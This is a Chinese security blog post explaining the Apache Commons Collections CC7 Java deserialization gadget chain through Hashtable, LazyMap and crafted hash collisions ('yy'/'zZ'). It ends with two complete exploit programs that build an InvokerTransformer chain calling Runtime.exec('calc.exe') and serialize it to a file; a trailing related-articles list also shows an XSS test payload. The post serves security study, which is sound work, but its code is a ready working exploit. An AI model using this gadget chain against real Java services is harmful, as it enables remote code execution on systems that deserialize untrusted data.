当前位置: 首页 > news >正文

【Web】Java反序列化之CC7链——Hashtable

目录

链子原理分析(借尸还魂)

如何构造相等hash

又谈为何lazyMap2.remove("yy")

不过真的需要两个LazyMap吗

EXP

双LazyMap exp

HashMap&LazyMap exp


链子原理分析(借尸还魂)

先看Hashtable#readObject

origlength和elements分别是原始数组的长度和元素的数量,最后的key与value就是我们自己构造时用put放进去的,接着调用了reconstitutionPut方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the threshold and loadFactors.defaultReadObject();// Validate loadFactor (ignore threshold - it will be re-computed)if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new StreamCorruptedException("Illegal Load: " + loadFactor);// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Validate # of elementsif (elements < 0)throw new StreamCorruptedException("Illegal # of Elements: " + elements);// Clamp original length to be more than elements / loadFactor// (this is the invariant enforced with auto-growth)origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);// Compute new length with a bit of room 5% + 3 to grow but// no larger than the clamped original length.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)((elements + elements / 20) / loadFactor) + 3;if (length > elements && (length & 1) == 0)length--;length = Math.min(length, origlength);if (length < 0) { // overflowlength = origlength;}// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// sync is eliminated for performancereconstitutionPut(table, key, value);}}

再看Hashtable#reconstitutionPut,这段代码的作用就是往哈希表中添加一个新的键值对,在保证键的唯一性的前提下进行操作,并处理可能的异常情况

 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}

这里我们因为开了上帝之眼,已经知道要去调用e.key.equals(key)了,但问题是,当第一次调用Hashtable#reconstitutionPut时,由于这个Hashtable是空的,我们不会进for循环,而是直接向其中存一个KV对,这样也就不能去调e.key.equals(key),显然不能令我们满意。

如何解决这个问题呢?其实很朴素,我们先往Hashtable里存一个KV对,这样第二次存的时候就会进到for循环,从而调用e.key.equals(key)了。

我们调用两次reconstitutionPut,也就是说put两个元素进Hashtable对象,这样elements(元素数量)的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

ok 进入for循环的事情我们已经解决了,但是想去e.key.equals(key)还得要满足e.hash == hash(&&短路机制你懂的),这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行,这个点我们下面单独来讲。

跟进到LazyMap所extend的AbstractMapDecorator#equals,调用了LazyMap的map的equals方法

public boolean equals(Object object) {return object == this ? true : this.map.equals(object);}

跟进HashMap所extend的AbstractMap#equals方法

public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}

调用了m.get(),而m是根据传入的对象获取的,也就是说如果key传入的也是LazyMap类对象,那么这里就是调用的LazyMap#get,从而为所欲为。 (get后续步骤真不用解释吧)

说一点个人的感想:这里其实颇有借尸还魂的味道在里面,我们利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法来去调用传入Hashtable的第二个LazyMap的get方法,从而完成transformer链的攻击。

如何构造相等hash

解铃还须系铃人,先来看看hash是怎么来的

int hash = key.hashCode();

跟进hashCode方法(这里先从key是String类型的对象开始讲,我知道你很急,但你先别急)

public int hashCode() {int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;}

要注意的是第一步是将变量 h 初始化为实例变量 hash 的值。这个 hash 可能是之前计算得到的哈希码,如果没有则为默认值 0 

剩下的其实还是挺好理解的,下面举个例子:

字符串 "hello" 对应的字符数组为 ['h', 'e', 'l', 'l', 'o']。

初始时,h = 0;然后进入条件判断块,开始遍历字符数组:

    第一轮循环:h = 31 * 0 + 'h' 的ASCII码值 = 104;
    第二轮循环:h = 31 * 104 + 'e' 的ASCII码值 = 3144 + 101 = 3245;
    第三轮循环:h = 31 * 3245 + 'l' 的ASCII码值 = 100495 + 108 = 100603;
    第四轮循环:h = 31 * 100603 + 'l' 的ASCII码值 = 3118783 + 108 = 3118891;
    第五轮循环:h = 31 * 3118891 + 'o' 的ASCII码值 = 96713221 + 111 = 96713332。

最终得到的哈希码为 96713332。这个数值作为字符串 "hello" 的哈希码

ok我们的目的是要构造出相同的hash值,我们以'yy'和'zZ'为例,y比z小1,经过第一轮循环后h的差值就差1,在第二轮循环会扩大为31*1,所以我们可以控制第二个字符是y与Z,前面比后面大31刚好抵消了这个差距

众所周知exp里是把LazyMap放Hashtable中的,我们可以先看LazyMap的hashCode方法(extend自AbstractMapDecorator)

public int hashCode() {return this.map.hashCode();}

会调用LazyMap的map的hashCode方法,也就是HashMap的hashCode方法,key与value的分别计算并异或,值我们可以设置的相同,问题是如何让key的hashcode也一致

public final int hashCode() {return Objects.hashCode(key) ^ Objects.hashCode(value);}

跟进Objects的hashCode方法,发现最后调用了传入key的hashCode方法,如果传入的key为String类型,就可以调用String的hashCode方法,也就和上文呼应上了,成功构造相等hash。

public static int hashCode(Object o) {return o != null ? o.hashCode() : 0;}

又谈为何lazyMap2.remove("yy")

先贴出CC6中类似的操作:【Web】Java反序列化之CC6--HashMap版-CSDN博客

Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。导致第二个LazyMap的HashMap中会有两个元素。

Hashtable#put

public synchronized V put(K key, V value) {// Make sure the value is not nullif (value == null) {throw new NullPointerException();}// Makes sure the key is not already in the hashtable.Entry<?,?> tab[] = table;int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;@SuppressWarnings("unchecked")Entry<K,V> entry = (Entry<K,V>)tab[index];for(; entry != null ; entry = entry.next) {if ((entry.hash == hash) && entry.key.equals(key)) {V old = entry.value;entry.value = value;return old;}}addEntry(hash, key, value, index);return null;}

 这段其实上面那篇文章里也有写

if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;}

 而HashMap所extend的AbstractMap#equals方法中要求两个HashMap中元素个数相同,否则直接return false,所以我们需要先remove一个。

 Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;

不过真的需要两个LazyMap吗

虽然yso里是用了两个LazyMap,但其实根本没有必要

关于CC7的分析与思考

我们上面借尸还魂的部分也提到过,第一个LazyMap利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法,那为啥不直接把第一个LazyMap换成HashMap呢,更简洁高雅且本质

EXP

双LazyMap exp

package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap2.remove("yy");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}

HashMap&LazyMap exp

package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map map1 = new HashMap();Map map2 = new HashMap();map1.put("yy", 1);map2.put("zZ", 1);Map lazyMap1 = LazyMap.decorate(map1, transformerChain);Hashtable hashtable = new Hashtable();hashtable.put(map2, 1);hashtable.put(lazyMap1, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap1.remove("zZ");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}

相关文章:

【Web】Java反序列化之CC7链——Hashtable

目录 链子原理分析(借尸还魂) 如何构造相等hash 又谈为何lazyMap2.remove("yy") 不过真的需要两个LazyMap吗 EXP 双LazyMap exp HashMap&LazyMap exp 链子原理分析(借尸还魂) 先看Hashtable#readObject origlength和elements分别是原始数组的长度和元素…...

NumPy数据处理详解的笔记2

NumPy数据处理详解的笔记2 第1章NumPy基础 NumPy是用于处理多维数组的数值运算库&#xff0c;不仅可用于 机器学习&#xff0c;还可以用于图像处理&#xff0c;语言处理等任务。 1.2 多维数据结构ndarray的基础 在学习NumPy的过程中&#xff0c;只要理解了ndarray的相关知识…...

xsslabs第四关

测试 "onclick"alert(1) 这与第三关的代码是一样的&#xff0c;但是每一关考的点是不一样的所以我们看一下源代码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv"content-type" content"text/html;ch…...

Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写

系列文章目录 提示&#xff1a;这里是该系列文章的所有文章的目录 第一章&#xff1a;Qt下使用ModbusTcp通信协议进行PLC线圈/保持寄存器的读写&#xff08;32位有符号数&#xff09; 第二章&#xff1a;Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写 文章目录 系列文章目录…...

C++ 滑动窗口

例1 209. 长度最小的子数组 ①窗口大小不固定 ②求最小长度 -> ret INT_MAX ③数组内的值都大于0&#xff0c; 符合单调性&#xff08;sum nums[right] -> sum增大&#xff09; while里面符合条件&#xff0c;在里面更改ret 参考代码 class Solution { public:i…...

【深度学习】TensorFlow基础介绍

TensorFlow 模型 张量、变量共同点&#xff1a;具有形状、类型、值等3个属性。 不同点&#xff1a;变量可被TensorFlow的自动求导机制求导&#xff0c;常被用于机器学习模型的参数。 tfrecord tensorflow定义的数据格式&#xff0c;一种二进制文件格式&#xff0c;用于保存…...

springcloud:3.3测试重试机制

服务提供者【test-provider8001】 Openfeign远程调用服务提供者搭建 文章地址http://t.csdnimg.cn/06iz8 相关接口 测试远程调用&#xff1a;http://localhost:8001/payment/index 服务消费者【test-consumer-resilience4j8004】 Openfeign远程调用消费者搭建 文章地址http:/…...

【笔记】【电子科大 离散数学】 3.谓词逻辑

谓词引入 因为含变量的语句&#xff08;例如x > 3&#xff09;不是命题&#xff0c;无法进行逻辑推理。 为了研究简单命题句子内部的逻辑关系&#xff0c;我们需要对简单命题进行分解&#xff0c;利用个体词&#xff0c;谓词和量词来描述它们&#xff0c;并研究个体与总体…...

倍增算法C++

倍增 倍增算法是一种优化算法&#xff0c;通常用于某些需要高效计算指数幂的场景。它基于分治的思想&#xff0c;通过反复求平方来实现快速计算指数幂的目的。在实际应用中&#xff0c;倍增算法经常用于解决最近公共祖先问题、二分查找等。 1、快速幂详解 ksm核心代码 倍增就是…...

uniapp制作--进步器的选择

介绍&#xff1a; 进步器的选择,一般用于商城购物选择物品数量的场景 注意&#xff1a;该输入框只能输入大于或等于0的整数 效果展示&#xff1a; 代码展示&#xff1a; 以下是一个简单的购物车页面示例&#xff0c;包括选择商品和显示数量的功能&#xff1a; 在这个示例中…...

前端高频面试--查缺补漏篇

什么是进程和线程&#xff0c;有什么区别 进程&#xff1a;进程是程序的一次执行过程&#xff0c;是动态的过程&#xff0c;有自身产生、存在、消亡的过程。 线程&#xff1a;线程由进程创建&#xff0c;是进程的一个实体。一个进程可以拥有多个线程。 举个例子&#xff1a;…...

【计算机学习】-- 网页视频加速

系列文章目录 文章目录 系列文章目录前言一、开发者选项二、定义和用法1.基础语法&#xff1a;2.什么是uncaught TypeError:Cannot read properties of null? 二、开发者工具面板&#xff1a;1.Elements面板&#xff1a;2.Console面板&#xff1a; 总结 前言 一、开发者选项 …...

系统运维-Linux配置C、C++、Go语言编译环境

C yum install gcc -y #安装gcc编译器 gcc --version #验证环境gcc (GCC) 11.3.1 20221121 (Red Hat 11.3.1-4) Copyright (C) 2021 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even f…...

【设计模式】(二)设计模式六大设计原则

一、 设计原则概述 设计模式中主要有六大设计原则&#xff0c;简称为SOLID &#xff0c;是由于各个原则的首字母简称合并的来(两个L算一个,solid 稳定的)&#xff0c;六大设计原则分别如下&#xff1a; ​ 1、单一职责原则&#xff08;Single Responsibitity Principle&#…...

go-zero官网

go-zero 是一个集成了各种工程实践的 web 和 rpc 框架。通过弹性设计保障了大并发服务端的稳定性&#xff0c;经受了充分的实战检验。 go-zero官网&#xff1a;go-zero 缩短从需求到上线的距离...

Redis的应用场景以及常见问题(持续更新)

一、使用场景 1&#xff0c;在大型的秒杀库存扣减&#xff0c;app首页流量高峰&#xff0c;很容易将传统的关系型数据库&#xff08;mysql,oracle等&#xff09;给压垮 2&#xff0c;还有很多没必要持久化的数据&#xff0c;比如说短信验证码&#xff0c;点赞数等 3&#xff0c…...

前端添加压缩包内文件名称校验

1. tar包内文件名称校验 1. 读取tar包内所有的文件名称 export class TarReader {fileInfo: any[]buffer: string | ArrayBufferconstructor() {this.fileInfo []}readFile(file) {return new Promise(resolve > {const reader new FileReader()reader.onload event &g…...

redis02 安装

官网下载 传送门https://redis.io/download/#redis-downloads 安装Redis mac m1安装 下载你需要版本的软件包放到指定的目录下进行解压 cd 到解压好的redis目录 运行下面的命令进行编译测试 sudo make test 中途可能会提示你安装make工具&#xff0c;按提示安装即可&…...

#QT(QT时钟)

1.IDE&#xff1a;QTCreator 2.实验 3.记录 qtime&#xff08;qt的时间类&#xff09; qtimer&#xff08;qt的定时类&#xff09; 4.代码 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTime> // #include <QTimer&g…...

T-RAG:结合实体检测的增强检索生成模型

内容摘要&#xff1a; T-RAG是一种新的大型语言模型&#xff08;LLM&#xff09;应用框架&#xff0c;在保证数据隐私的同时&#xff0c;提高了对私有企业文档的问答系统性能。T-RAG通过结合已有的增强检索生成&#xff08;RAG&#xff09;框架、自定义的开源语言模型以及一个实…...

多模态2025:技术路线“神仙打架”,视频生成冲上云霄

文&#xff5c;魏琳华 编&#xff5c;王一粟 一场大会&#xff0c;聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中&#xff0c;汇集了学界、创业公司和大厂等三方的热门选手&#xff0c;关于多模态的集中讨论达到了前所未有的热度。其中&#xff0c;…...

51c自动驾驶~合集58

我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留&#xff0c;CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制&#xff08;CCA-Attention&#xff09;&#xff0c;…...

C++:std::is_convertible

C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)

【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

大学生职业发展与就业创业指导教学评价

这里是引用 作为软工2203/2204班的学生&#xff0c;我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要&#xff0c;而您认真负责的教学态度&#xff0c;让课程的每一部分都充满了实用价值。 尤其让我…...

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全&#xff08;Thread Safety&#xff09; 线程安全是指在多线程环境下&#xff0c;某个函数、类或代码片段能够被多个线程同时调用时&#xff0c;仍能保证数据的一致性和逻辑的正确性&#xf…...

CMake控制VS2022项目文件分组

我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...

AI书签管理工具开发全记录(十九):嵌入资源处理

1.前言 &#x1f4dd; 在上一篇文章中&#xff0c;我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源&#xff0c;方便后续将资源打包到一个可执行文件中。 2.embed介绍 &#x1f3af; Go 1.16 引入了革命性的 embed 包&#xff0c;彻底改变了静态资源管理的…...

基于 TAPD 进行项目管理

起因 自己写了个小工具&#xff0c;仓库用的Github。之前在用markdown进行需求管理&#xff0c;现在随着功能的增加&#xff0c;感觉有点难以管理了&#xff0c;所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD&#xff0c;需要提供一个企业名新建一个项目&#…...